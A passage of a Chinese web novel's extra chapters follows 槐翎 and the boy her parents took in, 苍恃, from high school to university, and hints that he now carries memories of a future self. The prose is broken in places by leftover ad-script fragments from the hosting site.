要是年纪小点槐翎还觉得没什么,只是这个人怎么看都和自己年龄差不多,带回来的时候就没考虑过家里还有个正值青春期的女儿吗? 想到这里槐翎肚子里都是火。 “什么时候走?”槐翎没好气地问。 槐父槐母面面相觑,一时间两个人都支支吾吾,想不到要怎么回答槐翎这个问题。 少年缩在角落,不敢说话。 “囡囡,我跟你进房间谈一下。”槐母给槐父打了个眼色,然后很有默契地一人领着一个小孩单独谈话。 槐翎没好气地坐在地毯上,等待自己的母亲给一个解释。 “生气了?” “没有。”槐翎想也没想就反驳道。 “就是生气了,气我们没跟你提前商量对不对?”槐母把女儿抱在怀里,一边摸着她的长发一边安抚。 “说吧,有什么苦衷。”槐翎是了解自己父母的,她也不搞什么弯弯绕绕了,直接拆穿父母的伪装。 “没什么苦衷呀,也就是他亲戚对他不太好,父母在国外也管不了,你爸和他爸爸一见如故,一来二去就决定先照顾一段时间了。” “一段时间是多久?” “唔,一年?两年?三年?”槐母自己也不确定了。 “妈!”槐翎气得就要跳起来。 “翎翎还是妈妈最爱的小宝贝,不气不气,他是个老实孩子,也很有礼貌,你会喜欢他的。”槐母在槐翎脸蛋上用力地亲了一口。 槐翎快成年了,被自己的母亲这么亲热对待自然有些不好意思,她嫌弃地擦了擦脸上的口水。 “先说好,”槐翎叹了口气,“我可以不理他的对吧?” “啊?他那么可爱你忍心吗?” “你再这样我搬出去自己住了。”槐翎翻了个白眼,那人好像和可爱这两个字一点都不沾边啊? “好好好,翎翎怎么都好,就是别欺负他,如果可以的话,在学校里多照顾他一点可以吗?” “还要和我一个学校?!”这下槐翎真的跳起来了。 * 槐翎父母悉心照顾了苍恃好一段时间,虽然没有刚开始那么拘谨,但在看到槐翎的时候,他还是下意识想躲开。 槐翎有时候怀疑自己看上去是很凶吗,怎么看到就要跑? 她照了镜子好几次,自己还是一如既往的好看,而且笑起来的时候更好看了。 司机早早等在了外面,槐翎拿着书包钻到自己的位置上,苍恃沉默地跟在她身后,一道看不见的屏障隔绝在两个人之间,二人就算说话也仅限于早上好和晚上好。 车内是一阵令人窒息的沉默,司机透过后视镜看了眼近乎陌生人的二人,想说点什么还是咽回去了。 到了学校后,槐翎快步先行回教室了,他们不在一个班,平时也很少会碰面。 槐翎对上课没什么兴趣,她脑子好使一点就通,考试常年都是满分,之所以还留在课室不翘课单纯是看在父母的面子,如果可以的话,她还宁愿找个没人的地方好好睡一觉。 下午是体育课,槐翎不想出太多汗,躲在树荫下乘凉。 隔壁班也在上体育课,槐翎一眼就看到了苍恃,他皮肤很白,比女孩子还要白上几分,瘦削的身子在太阳的照耀下摇摇欲坠的,槐翎眯着眼睛看了一会,感觉没过多久他就要中暑晕倒了。 “槐翎,到你了。”体育老师无情地喊了槐翎的名字。 她伸了个懒腰,今天要跑3000米,多数人都交了请假条,不过体育老师都没批准,这会跑完的人都在树荫下躺尸,还没跑的人则是瑟瑟发抖等待叫到自己的名字的那一刻。 槐翎的体能很好,3000米好,5000米也罢,对她来说没什么区别,于是在哨声吹响的那一刻,她迅速就和同期的人拉开了距离,几乎是毫不费力地就跑开了有半圈那么远。 体育老师又开始拿槐翎为模板数落那些请假的学生了。 槐翎的气息并未紊乱,她一往直前,就算是在烈日下跑步,她的表情都没半分狰狞,隔壁班的学生自然也注意到了槐翎的身影,不少人都被她吸引了目光,惊叹她的全能。 苍恃也看到了,他正在帮体育老师搬器材,眼睛不由自主地盯着槐翎的身姿看了好一会,连老师叫了他几次都没听见。 槐翎很快就跑完了3000米,她慢慢停了下来,额间流下几滴汗珠,体育老师赞赏地看着她,眼里满是欣赏。 没等老师说点夸奖的话,槐翎就已经先发制人。 “老师,我能早退吗?” 老师的笑容凝固在脸上,他早该知道槐翎是个难搞的,倒也没想到槐翎会这么直接和老师作对。 “太热了,我想吹空调。”槐翎拿起矿泉水喝了两口,在说这句话的时候表情很是真挚,没有半点虚伪。 槐翎被赶到了医务室吹空调,她直截了当地和校医说明了来意,校医知道槐翎是谁,也没多问。 她拿出手机开始打发时间,心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里盘算着一会要不要翘课,偶尔一两节课不去不会怎么样,但是如果被发现又会惹来父母的唠叨,槐翎纠结了片刻,感觉到一股热风从旁边吹来,她抬头就看见苍恃扶着一个女生进来。 女生满脸汗,膝盖上是大片的伤口,很显然她刚刚摔了一跤,而且摔得不轻。 苍恃颇为紧张地搀扶她到一旁坐着,他余光也看到了正在摸鱼的槐翎,但也只来得及点头示意。 槐翎认得那女生,是万年老二祝译,成绩是挺好的,就是体能很差,是每个体育老师听到她名字都要皱眉的存在。 校医轻车熟路地开始为祝译的伤口消毒,祝译哇哇乱叫了起来,隔着帘子槐翎都能感受到祝译的痛苦。 苍恃站在她旁边,祝译毫不客气地抓着他的手臂来转移痛楚,苍恃也只是轻声安慰着。 那说话的语气槐翎还是第一次听见,还真挺温柔的。 她透过白色的帘子看到二人的身影紧紧靠在一起,槐翎突然间有点不愉快了,她收起手机,一个人静悄悄离开了医务室。 下午的课槐翎直接睡过去了,醒来的时候额头都是红印,她去洗手间整理了一会仪容仪表,出来就看到苍恃等在了她课室门口。 这是两个人没有说出口的约定,不管怎么样,至少他们是要一起坐车回去的。 好几个路过的女孩子都主动跟苍恃道别,他也一一给予了回应。 怎么回事,为什么他才来一个月人缘就比自己好了?槐翎想不明白。 “走了。”槐翎抱着手臂无情地打断了和女孩子聊天的苍恃,苍恃愣了一下,然后面带微笑和女孩子打了招呼,又小跑来到槐翎身后。 “你谈恋爱了?”槐翎直接地问了自己想问的,她最烦电视剧里有话不直说的情节,曾经发誓自己绝对不能变成这样的人。 “啊?”苍恃张嘴看向槐翎,说起来,这还是槐翎第一次主动跟他搭话。 他迅速地移开了目光,耳朵有些发红。 “没有。”他的声音闷闷的。 “哦,我不会跟我妈说的,她那个人很八卦。”槐翎皱起的眉头稍微松了些,“不过你现在谈也没啥意思,再过半年我们就毕业了。” 在听到“我们”两个字的时候,苍恃稍微捏紧了衣角。 “那你呢?”苍恃鼓起勇气问。 “我要上大学啊。”槐翎不明所以地看了他一眼,这是什么问题,难道她看上去像考不上大学的吗? “哦。”苍恃挠了挠头,有些泄气,也不知道槐翎是故意的还是真没听懂问题。 “你不上吗?” “先说好,我已经确定保送了,你也别只顾着玩。”槐翎先上了车,苍恃跟在后面,细细咀嚼了槐翎这句话。 听起来感觉有点像是叫他去同一所大学。 现在苍恃的成绩排到前五十,和常年在第一名的槐翎确实没法比,而且听槐翎的妈妈提起过,槐翎是要去最好的大学的。 如果好好学习的话,说不定真的能赶上槐翎的脚步。 86. 番外 半年一眨眼就过去了,槐翎没有参加大考,而是在家老老实实待了一个星期。 她要上的大学在另外一个城市,槐翎的父母虽然不怎么担心,但想到女儿要独自去外面生活,心里还是略有不舍,硬是要求槐翎在家陪他们。 槐翎也乖乖听话,这几天没少说好话哄他们。 “也不知道小十考得怎么样了。”槐母紧张兮兮地看了眼时钟,“那孩子前段时间那么拼,如果考不好就可惜了。” “话说回来他想考哪里啊?”槐翎吃着果冻问。 “你跟他天天上学都不知道,还跑来问我,你个没良心的。”槐母意味深长地看向自己的女儿,是真不知道,还是装不知道呢。 “我没问啊,他也没说,我还以为他忙着谈恋爱呢。” “你还管上人家谈恋爱了。”槐母用食指点了点槐翎的额头,槐翎哎呀一声毫无形象地倒在沙发上。 “到时候你们上学就别住宿舍了,我买了套房子,你俩就一起住吧。”槐母继续说道。 “等等!”槐翎翻了个身,“他也要去那个城市吗?” “对啊,他要考你的那个学校。” “怎么这样啊…我想住宿舍。”槐翎又翻了个身。 “真让你住两天宿舍就老实了,少废话,看看小十考完没有。” “司机不是在外面等着吗,话说回来你就那么确定他能考上啊?” 槐母白了一眼,“你是不是没看过他成绩单?” 槐翎想了一下,还真的没看过,倒不如说她连自己的成绩单都没怎么认真看,哪有空还关心别人的成绩啊。 * 成绩出来的那一天,槐父比苍恃本人还要高兴。 他早早预订好了餐厅的位置,决定要一家四口好好庆祝一下。 现在天气热,槐翎穿了条吊带裙子就出门了,在玄关换鞋子的时候苍恃也在,他刚来的时候和槐翎差不多高,这会再站在一起的时候,槐翎突然发现她得稍微抬头才能和苍恃平视了。 她不着痕迹地往苍恃的裤腿看去,之前购置的裤子显然有些不合身,露出了一小截脚踝。 槐翎心想晚点还得提醒下妈妈买新衣服,总不能穿不合身的衣服去上大学吧。 槐翎想事情想得有点久,鞋子怎么穿都穿不好。 注意到这点的苍恃二话不说就蹲了下去,他手指很灵活,三下五除二就帮槐翎弄好了鞋带,槐翎感觉到他的指尖在自己的脚踝处擦过,虽然只有一瞬,她却起了一身鸡皮疙瘩,整个人都僵住了。 “你……”槐翎张了张嘴,想说点什么大脑先宕机了。 苍恃迅速收回手,好像刚才什么都没发生过。 “你俩磨磨蹭蹭什么呢?快点!”槐父的大嗓门穿透了整栋别墅,槐翎这才反应过来,匆匆忙忙走了出去。 在包厢里槐父情绪很高涨,好像考上大学的人是他本人,这会吃饱了之后开始缠着苍恃发酒疯。 槐翎和苍恃成年了,按理说也能喝点。 但是槐母没答应,觉得他俩还小,再说了和大人喝酒没什么意思,以后要喝就和同龄人喝去。 槐父抱着苍恃开始唱歌,他嗓门本来就大,唱起歌来乱七八糟不在调子上,苍恃想捂住耳朵又不敢,频频向在场的女性投去求救的目光,然而槐翎两母女都很了解槐父是怎样的人,只能等他自己先冷静下来。 “嗨呀,以后你们两个去上大学了要好好玩知道吗?学习不用那么努力的。” 槐父叽叽喳喳说着。 这话槐翎是打从心底地同意,她也想好了等上了大学就准备下环游世界的计划,至于上课,那就等以后再说。 “还有你们也要好好谈恋爱,四年了别寡着,这样人生多没意思啊?多谈点才能成长,不过别谈到难看的,我不喜欢长得难看的人……” 槐母有点听不下去了,拿了杯冰水过去。 “哦对了,孩子他妈,你记得给他们行李里面多放点套,还得注意别生病才行,搞出孩子也不行!” “爸!”槐翎也听不下去了,她只想赶紧结束这场闹剧。 苍恃苦笑着用手捂住槐父的嘴,生怕他再说出些不该说的话来。 今天是周末,槐父没让司机上班。 槐母负责开车回去,槐翎烦死了自己的爸,只得躲在副驾驶看外面的风景。 苍恃只好担起了照顾槐父的责任,这会上了车槐父其实已经有点醒了,用力地抓着苍恃的手臂不放。 “你爸爸是个很好的人,你妈妈也是,当然你也很好。”槐父的眼睛亮晶晶的,盯着苍恃看的时候眼里没有一点杂念。 这个看上去那么普通的中年人,实际上能够掌握这个国家的命脉,怎么想都让苍恃觉得有些可怕。 “跟你说个秘密。”槐父勾了勾手指,神神秘秘的,不知道他想说什么。 苍恃不明所以地凑了过去,他已经做好了被槐父吓一跳的准备,如今他再说点什么惊天动地的话都不会感到惊讶了。 “零零喜欢有肌肉的男孩子。”槐父在他耳边轻声说道,“你努力下。” 苍恃浑身一震,差点翻出车窗。 “你俩说什么悄悄话呢?”槐母透过后视镜都看到了,自然也看到了苍恃满脸通红的模样。 “我要宣布一件事。“槐父突然来了精神,他红着脸满身酒气,槐翎知道从他嘴里说不出什么好话,百无聊赖地靠着车窗不出声。 “这个假期小十跟我一起出差。零零就和妈妈一起玩个痛快。” “出差?你认真的?”槐翎还是没忍住插嘴了。 槐父的出差那不是一般人能扛得住的,槐翎以前领教过,如果不是自尊心强,就连槐翎自己都想哭着跑了。 苍恃还不理解槐父的出差是什么,这会一愣一愣地看着他们。 “你就跟我去吧,很好玩的。”槐父把苍恃抱在怀里,大手毫不留情地揉搓他的头发,苍恃被槐父的酒味熏得眼睛都睁不开,根本没有拒绝的机会。 于是假期苍恃和槐父就这么安排好了行程,这趟出差起码得好几个月,槐父直接给校长打了个电话,给苍恃请了长假。 第二天清晨苍恃就拿了行李和槐父一起走了。 槐翎醒来的时候隔壁房间已经空了,她是没想到苍恃还真的会跟着去。 吃早餐的时候槐母也同样感到惊讶,原来大家都以为是说说而已,苍恃这么一去恐怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凶多吉少。 槐翎想到几个月后苍恃变成黑炭的模样没忍住笑出声来,“我不信他能撑下来。” “你小心被打脸。”槐母喝了口花茶,淡定无比地说。“那孩子也是个死心眼。” “不信就是不信。” “那我们来打赌?”槐母有些坏心眼地起了捉弄女儿的念头,“要是他撑下去了,你就把他加入你的旅行计划里面,如何?” 槐翎向来好胜心强,听到打赌两个字理智早就飞不知道哪里去了。 “可以,他的费用我包了。当然,要是他中途退出了,我要他搬出去。” 槐母对于这样的赌注一点也不感到惊讶,她表面波澜不惊,另一只放在桌面下的手则是迅速地给槐父发去消息,槐父马上就回复了一个“知道了。” 昨晚槐父早就清醒地和槐母说了自己的计划,就算没有槐翎的影响,槐父也不会对苍恃手下留情。 槐父说的出差其实就是跟他去玩,而槐父从前线退休之后开始痴迷极限运动,什么刺激就去玩什么,槐翎十来岁的时候槐父就曾经带她去热带雨林生存了一个月,那不是一个苦字能形容的。 如果不是槐父经验丰富,恐怕槐翎的小命就得交代在雨林里。 槐母一开始也觉得自己的丈夫有病,后来看到槐翎一点也不害怕,相反还有点乐在其中的时候,她还是默默吞下了自己的抱怨。 最近她在忙一个不小的项目,和祝渊来往密切,等女儿去上学了她就能全身心投入到项目里面去了。 槐翎显然没把这个打赌当一回事,又玩了一个月后她开开心心地上学去了。 家里的佣人都是看着槐翎长大的,包括槐母在内都充满担忧地看着槐翎离开,她没拿什么行李,那边的公寓已经提前准备好了,佣人也在那边彻底打扫了几次,等槐翎搬进去后就会有人定期去做饭打扫卫生。 为了让女儿的大学生活快乐些,槐母还购置了两台新车给槐翎,等苍恃回来之后她打算再买一辆给他。 槐翎的车足够吸引人注意力,她从车上下来的时候好几个学生就盯着她看,又因为槐翎看上去一点都不好惹,大家也只是看看就走了。 她跟着指引独自完成了报道,大学确实要大很多,哪里都是一脸迷茫的新生,志愿者极其热心地为他们做指引,大部分新生都在气喘吁吁地往宿舍里搬行李。 槐翎本来是想偷偷回宿舍住的,只不过在看到群聊里发布的宿舍图后她迅速打消了这个念头,这辈子她都没住过那么小的房间,更别说还要和另外三个人分享了。 第一周她决定静观其变,于是槐翎乖巧地跟着大部队行动了一周,很快就摸清了大学的各类事项,在这里没有人知道槐翎是谁,她感觉还是挺自在的。 也有不少人上来和槐翎搭讪,想要加她的联系方式,都被槐翎一一拒绝了,原本要和槐翎住一个宿舍的同学也很快记住了槐翎,自然而然带着她一起行动。 其中一个比较自来熟的舍友就直接问槐翎为什么不住宿舍了,槐翎觉得实话实说难免有点炫耀的嫌疑,只好糊弄过去了。 新生的第一个月过得简直比火箭发射还要快。 槐翎渐渐习惯大学生活了。 87. 番外 大一的课不多,槐翎有意给自己腾了一个长周末出来,她最近痴迷上游泳,一周七天有四天都泡在游泳池里,也不知道是不是错觉,她觉得自己也长高了些。 她很快就和同班同学混熟了,没课的夜晚她也会和同学去附近的酒吧打发时间,她不爱喝酒,顶多和同学玩玩游戏。 刚刚成年的孩子还不是很玩得开,喝酒也仅限于啤酒,又正是荷尔蒙旺盛的年纪,只是啤酒也足够让几个年轻人蠢蠢欲动。 又有一对处于暧昧期的小情侣先行离开包厢。 槐翎捏着自己的啤酒罐,她这人有个怪癖,喝别的酒不会醉,唯独啤酒上头特别快,两罐下去就能开始感到头晕。 包厢里刚刚还在吵吵闹闹玩狼人杀,这会改成UNO了,槐翎玩了两局,觉得没啥意思,退到一边开始刷手机。 也就在两个小时前,槐父久违在群聊里说了话。 槐翎很少在群聊里说话,槐父个缺根筋的,就这么把苍恃拉进了他们一家三口的群里,一点也不照顾槐翎的心情,看着那个多出来的系统默认头像,槐翎就觉得一股气涌上心头。 “飞机刚刚落地。” 槐母在半个小时后发了个大拇指表示已阅。 槐翎见状也跟着发了个大拇指。 也就在她发了表情后,槐母马上就打了个电话过来。 包厢里吵吵闹闹的,槐翎只得捂着耳朵认真去听母亲说的话。 “你还记得我们的赌约吗?” “什么赌约?”槐翎是一点都不记得了。 “小十也跟着回来了,刚刚你爸跟我打了个视频,啧啧,那孩子真撑下来了。” “哦,我以为他已经被老虎吃了。” “你别不当一回事,现在你是学姐了,得好好带他了解下学校。” “姐,我就早入学一个多月,怎么就成学姐了。”槐翎在槐母看不到的角落翻了个白眼。 “总而言之,你赌输了,对了我给你发了几辆车的图片,你帮我挑一下看他喜欢哪一个。”槐母风风火火地把电话挂了。 槐翎无言地打开对话框,还真的有几辆车。 “槐翎,刚才是你家人打过来吗?”那自来熟舍友又来了。 “嗯。”槐翎头也没抬。 “是查岗吗?” “没有。”槐翎把车的照片放大了些,旁边眼尖的人马上就发现了槐翎正在看豪车,还是限量的。 好几个人迅速交换了眼神,眼里都是惊叹。 槐翎凭借自己的品味选中了一台,等关闭屏幕的时候她才发现大家都带着诡异的笑容看向她。 “怎么了?” “槐翎,我们一直想问,你有没有男朋友啊?” “没有啊。”槐翎收起手机,没注意到手机正好有个来电,她有些累了,一口就把剩下的啤酒喝完。 “那你喜欢什么类型?”自来熟舍友察觉到槐翎想走,眼疾手快地挽住她的手臂,制止了她的离开。 “怎么突然问我这些,你们在玩什么?”槐翎不明所以地环顾四周,原本喧闹的包厢都变得安静下来了。 “我们在玩真心话大冒险呢,现在是大冒险环节。” “哦,”槐翎放下啤酒罐,也确实有那种问别人喜欢类型的大冒险,出于同学之间的关爱,她认真地思考了起来。 “我喜欢比我高的,有肌肉的,头发短短的,唔,腰也要细的。” 话音刚落,包厢门被打开,走进来一个完全符合槐翎描述的男性。 所有人的注意力都被这不速之客吸引了,槐翎自然也看了过去,她吓了一跳,脸色一变,怎么才下飞机的苍恃会这个时候出现在这里? 苍恃穿了一身户外运动的装备,除了头全身都包得严严实实,和包厢里的气氛格格不入,他长高了不少,皮肤没之前那么苍白,戴着手套的手指修长,手里还抓着手机,长靴踩在满是食物碎屑的地面上,他顾不上别人的目光,直接就往槐翎跟前走去。 “太晚了,我们一起回去。”苍恃说,他的眼神有点奇怪,看得槐翎不太自在。 “哦,行吧。”槐翎点头,她听话地站起来,和包厢里的同学道别后就跟着苍恃离开了。 等到二人离开后,所有人的目光都落在包厢中央的男学生脸上。 那男学生满脸通红,眼里都是惊愕。 “你没机会了。”他们很快得出了结论。 * 苍恃是打车过来的,槐翎把车钥匙扔给他,自己则是钻进副驾驶舒舒服服地窝在那里。 槐翎的脸有些红,和平时比起来少了几分锋芒。 车内要温暖不少,苍恃把冲锋衣脱下,底下只有一件速干的短袖紧身衣,露出的手臂线条很明显,槐翎没忍住多看了两眼。 “地址是什么?”苍恃侧头看向槐翎。 “手机给我。”槐翎伸手。 苍恃把手机解锁了递过去,槐翎看见手机背景是雪山,看样子是日出时候拍的,她在收拾得整整齐齐的程序里面找到地图,然后把地址输了进去。 酒吧和公寓有些距离,苍恃开车很稳,在暖气和轻微得摇晃中槐翎有些犯困,头一歪就闭上眼睛准备睡觉。 只不过有一缕头发落在了鼻尖上,让她感觉有些痒,然而槐翎又懒得伸手,她皱着眉头,等待什么时候这缕头发自己乖乖消失。 车子缓缓停了下来,槐翎迷迷糊糊感觉到有人轻轻捻起那缕头发,然后细心地把它别在耳后。 等她再次醒来的时候,车里只剩下她一个人,槐翎揉了揉眼睛让自己清醒过来,抬头便看见苍恃站在车旁边打电话。 他脸上没什么表情,不像是聊天,反而像是在汇报工作。 槐翎拿出手机一看,这会都已经是深夜,车子停在停车场好像有一段时间了。 她伸了个懒腰,打着哈欠爬过去驾驶位,伸手敲了敲窗户。 苍恃转了过来,但还没能挂电话,他透过玻璃盯着槐翎的脸看了好一会,槐翎不知道他在看什么,两个人就这么互相盯了一阵子。 他其实长得蛮好看的,也难怪之前那么多女学生跟他打招呼,这会看上去已经褪去了之前的稚气和腼腆,分开才两个月,苍恃好像长大了不少。 “再等等。”苍恃用嘴型告诉了槐翎。 槐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 翎点头,她爬回自己的座位,收拾有些杂乱的包,等过了几分钟后她才穿上鞋子下车。 秋天的夜晚总是凉飕飕的,一股阴风吹开了她的领口,冷风从领口灌了进去,槐翎打了个寒颤。 苍恃终于打完电话了,他把自己的行李带上,在看到槐翎瑟瑟发抖的样子后又折返把之前脱下的外套递给槐翎。 槐翎没心思和他客气,拿过外套就穿上了。 外套对她来说有些大,上面还残留有来自另外一个人的体温,仔细一闻还能闻到淡淡的洗衣液味道,这种感觉有点微妙——有点像被他抱在了怀里。 槐翎心想自己真是醉了,怎么脑子都开始胡思乱想了。 苍恃不知道公寓具体是在哪一层,安静地跟在槐翎身后,她熟练地刷卡进入电梯,在等待电梯上升的时候又偷偷观察苍恃的行李——只有一个背包,看上去不轻。 “次卧是你的,我没进去过,阿姨每周五都会来打扫,还有她们做完一日三餐就会走,如果不吃的话提前跟她们说一声,就不用白做一顿饭了。” 槐翎开始慢悠悠地介绍起公寓的布置,“健身房我每天上午都要用,你要用的话随意,只不过汗记得擦掉,书房的电脑是我的,你自己的应该在房间里…对了,有个空房间我拿来放杂物了,你也可以用,就是别把东西弄混。”槐翎顿了一下,“还有,我不建议你把别人带回来过夜,可以的话住个酒店就行,毕竟呃,我不喜欢陌生人来家里。” 苍恃的嘴唇抿紧,眼睛又是直勾勾地盯着槐翎。 “那你呢?” “我?”槐翎愣了一下,“我也去酒店。很公平吧。” 说完她移开了目光,没能注意到苍恃轻轻抿起来的嘴唇。 “对了,我妈说给你买辆车,以后各自用各自的车,我还有一辆稍微大的家用车你要是有需求也能用,钥匙放玄关了,但是记得不能弄脏,尽量不要在车内饮食。” “知道了。” “还有我的作息是11点睡觉7点起床,下午我要睡两个小时午觉,希望你的作息也能正常点,毕竟我不喜欢被吵醒。” “好。”他突然微笑了一下。 “你有什么想问的吗?” “可以不让佣人过来吗?我的意思是,我可以做家务。” “啊?”槐翎又是一顿不理解,“你闲得没事做吗?” “可以吗?”苍恃往前逼近了一步。 槐翎不明所以地挠了挠头,“行吧,那我跟我妈说一下。” 等到打电话谈到这件事的时候,槐母没忍住咯咯笑了起来。 “妈你到底在笑什么……好像老母鸡。” “真是青春啊,想当年你爸也…算了,说了你也不懂。”槐母决定卖个关子,“你们要好好相处喔,礼物我放你床头柜最底下那一层了。” “什么礼物?”槐翎走过去拉开柜子,映入眼帘的竟然都是五颜六色的套。 槐翎倒吸了一口冷气。 “妈,我没那么大需求。” 槐母用着大家都是过来人的语气取笑了槐翎一顿,槐翎心想一定是老爸出差太久了,才让她满脑子废料。 88. 番外 第二天槐翎没课,她睡到中午才舍得从温暖的被窝里出来。 苍恃一大早就走了,他缺了一个月的课得尽快补回来,做好的早餐放在冰箱里,上面还放了笔记让槐翎早点吃。 槐翎一边刷牙一边看群聊信息。 “昨天那人是你的谁啊?”“别睡了快起来!” 小群里刷了好几十条,槐翎都纳闷了怎么大家都对苍恃那么感兴趣,她含着牙刷仔细斟酌了一下用词。 要说朋友好像也不至于,说室友有点太生硬,说是远房亲戚算是便宜苍恃了,邻居?同伴?弟弟? 最后槐翎只能说那是她同学。 嗯,很合适,而且也是事实。 “单身吗?什么星座?”群里又开始沸腾起来。 槐翎回想了一下他的手机屏幕画面,好像连社交媒体都没有,“应该是单身。” “速求联系方式!”群里吵吵闹闹的,槐翎不太可能做这种背后出卖苍恃的举动,于是她装没看到,迅速完成洗漱后又躺到了客厅沙发上玩手机游戏。 在她玩得废寝忘食的时候门口传来了解锁的声音,槐翎翻了个身,看见苍恃背着书包回来了。 “早餐吃了吗?”苍恃没去看槐翎,目不斜视地走进厨房,在看到还是原封不动的早餐时,他皱了眉头。 “我直接吃午餐就行。”槐翎还是全身心都沉浸在游戏里,根本没注意到走到身边的苍恃。 “想吃什么?”他垂下头看着槐翎。 “紫苏炒排骨!”槐翎想也没想就说了出来。 “好。” 苍恃嘴角上扬,手下意识地抬了起来,在发现不对劲后马上收了回去。 槐翎没想到苍恃真的会做紫苏炒排骨,等到规规矩矩坐在餐桌旁的时候她惊呆了。 色香味俱全不足以概括,槐翎夹了一块排骨细细咀嚼起来,苍恃似乎对自己的手艺很有自信心,只安静地坐在一旁看槐翎。 槐翎觉得他哪里不一样了,但是又说不出来。 明明两个月前苍恃还不敢看自己,有眼神接触的时候总是第一个移开,怎么两个月后他开始盯着看了? “下午可以陪我去一下学校吗?”等槐翎吃完后,苍恃慢悠悠地开始收拾碗筷。 “好吧。”吃人嘴软,槐翎自然没办法拒绝。 槐母定的车没那么快到,这段时间只能先用槐翎的车,苍恃很自觉地承担了司机的角色,开过去学校只要十分钟,槐翎不由自主地偷偷看向苍恃的侧脸。 脸还是一样的脸,可是为什么总给人感觉不一样呢? 到了学校后,苍恃高大的身影自然吸引了不少人的目光,他却当做没看到,紧紧地跟在槐翎身后,有女生大着胆子走上来要他的联系方式,苍恃甚至连目光都没落在她的身上就拒绝了。 女孩子尴尬无比地跑开了,连槐翎都觉得这样有些无情。 “你怎么那么凶啊?”她还是没忍住多问了句。 “她来大学不是上学的吗?加我联系方式能帮她毕业吗?”苍恃淡淡地说道。 说得太有道理了,槐翎一时也想不到怎么反驳。 槐翎硬着头皮带苍恃逛了一圈学校,他不怎么说话,眼珠子倒是乱转,浑身散发着压迫感。 槐翎头一次觉得站在他身边有些压力,但是那种说不明白的感觉又难以形容,这种感觉就像那个人不是18岁的苍恃,而是28岁。 回去之后槐翎马上就钻进房间和槐母视频通话。 实在太奇怪了!她迫不及待要和妈妈分享自己的发现。 槐母好像也有同样的感觉,她没有了往常的温和,反而语气有些严肃。 “我也正想跟你说,你爸昨天都给我交代了,一个月前他们去雪山的时候遇上了雪崩,小十给埋雪里了,挖出来的时候差点没命了。” 槐翎吓了一跳,不敢接话。 “他脑袋缺氧了一段时间,可能对记忆什么的造成了影响,听你爸说,他醒过来的第一件事是把水果刀指向旁边的护士,甚至还不记得你爸,那眼神和昏迷前的他根本不能算是同一个人。” “所以他是脑袋出问题了?”槐翎迅速地抓住了重点。 “你说话别那么难听。”槐母顿了一下,“后来你爸还带他继续出去玩了,你猜怎么着,他突然做什么都很游刃有余,甚至还能指导你爸,打猎的时候枪法还很好,他什么时候学的射击我们都不知道,你说这是不是很奇怪?” “妈你有没有看过一个新闻,就是有个人被雷劈了之后突然就能熟练使用一门新语言了,他说不定也这样。” “要真这样也没关系,”槐母又顿了一下,然后沉默地盯着槐翎看了一会,她那眼神看得人心里发毛,槐翎起了一身鸡皮疙瘩。 “他醒来后第一件事就是找你,还说你身边不能没有护卫,那样子慌慌张张的,可吓人了,等到了解情况后,他突然就冷静下来了,你说是不是很奇怪?” 槐翎在结束通话后依然难以平复心情,她走到阳台深深吸了一口新鲜空气。 她脑海里突然有了一个大胆的猜测——现在的苍恃是不是被未来的苍恃夺舍了? 不然他的变化不会那么大,从日常生活习惯来看,苍恃还是那个苍恃,只是那眼神和为人处世方式都不一样了。 槐翎决定做点什么来验证自己的猜想,枪法那算是一个论据,应该还会有别的吧? 她鼓起勇气,来到苍恃的房间门前,在做了半分钟心理建设后终于下定决心敲门。 “进来。”他的嗓音很低沉,从门的另一边传来时听得人心痒痒的。 槐翎探了个头进来,只见苍恃坐在电脑前,电脑屏幕关闭,手还放在键盘上,很显然是因为槐翎来了才关闭屏幕的。 他是在查什么东西吗? “那个,晚上吃什么?”槐翎随便找了个借口。 “你想吃什么?”苍恃冷静地等待她回答。 “晚上要一起去酒吧吗?” 在听到酒吧两个字时,苍恃的表情略有变化,好像是嫌弃。 “好。”他在深思熟虑后还是答应了。 槐翎立马把头伸回去,又在群聊里噼里啪啦开始打字。 “你们要的帅哥我今晚就带过来,你们加把劲,最好是全力以赴。” 原本安静的群里就跟爆炸了一样,瞬间刷了无数条信息,槐翎都看不过来了,要换做是两个月前的苍恃肯定是招架不来,那要是是未来的苍恃呢? 槐翎等不及要验证自己的猜想了。 * 槐翎带着苍恃进包厢的时候差点被晃瞎了眼睛,在场的单身女孩都精心打扮了一番,睫毛美瞳都带上了,颇有一种最终决战的感觉。 大家都齐刷刷地看向槐翎身旁的苍恃,今天他的打扮很简单,但是却有种让人不敢靠近的气质。 尤其是当他的目光扫视全场的时候,总感觉是在审视什么。 “大家好,这位是苍恃,是我…同学。”槐翎尴尬地笑了下,马上就钻到舍友的小团体里。 听到同学二字的苍恃并不惊讶,他沉默地点头,然后找了个空位坐了下来。 “你这同学好像有点难搞。”舍友和槐翎咬起了耳朵。 “我也觉得。”槐翎无比同意。 不过大学生都是一群没啥心机的家伙,安静的包厢又吵闹了起来,槐翎被拉着玩游戏,她向来好胜心强,这会完全沉浸在游戏里面去,全然没有注意到苍恃的一举一动。 有些胆子大的女孩坐到他的身边主动向他搭话,苍恃也只是礼貌地给予回应,手里拿着的酒是一滴不喝。 只要有人稍微贴得他近一些,他就会换位置,这防备可以说是固若金汤。 和苍恃不一样的是,槐翎喝下的酒越来越多。 她被队友连累输了几局,混得五颜六色的酒也被迫喝了几杯,虽然槐翎喝酒不上脸,但从她那迷离的眼神来看,其实已有了几分醉意。 苍恃静静看着槐翎的笑脸,嘴角也跟着上扬了些。 时间不早,苍恃放下杯子,钻进人群里把槐翎捞了出来。 “我要跟她回去了。”苍恃对着槐翎的舍友说。 舍友也有些醉了,在看到苍恃那深邃的目光时,不由自主地多了几分敬畏,像在看自家长辈。 “要回去了?”槐翎打了个哈欠,“那不玩了。”她把手牌一扔,这晚上她基本没怎么赢过,偏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 偏她自己的手牌都挺好的,实际她早就不想玩了。 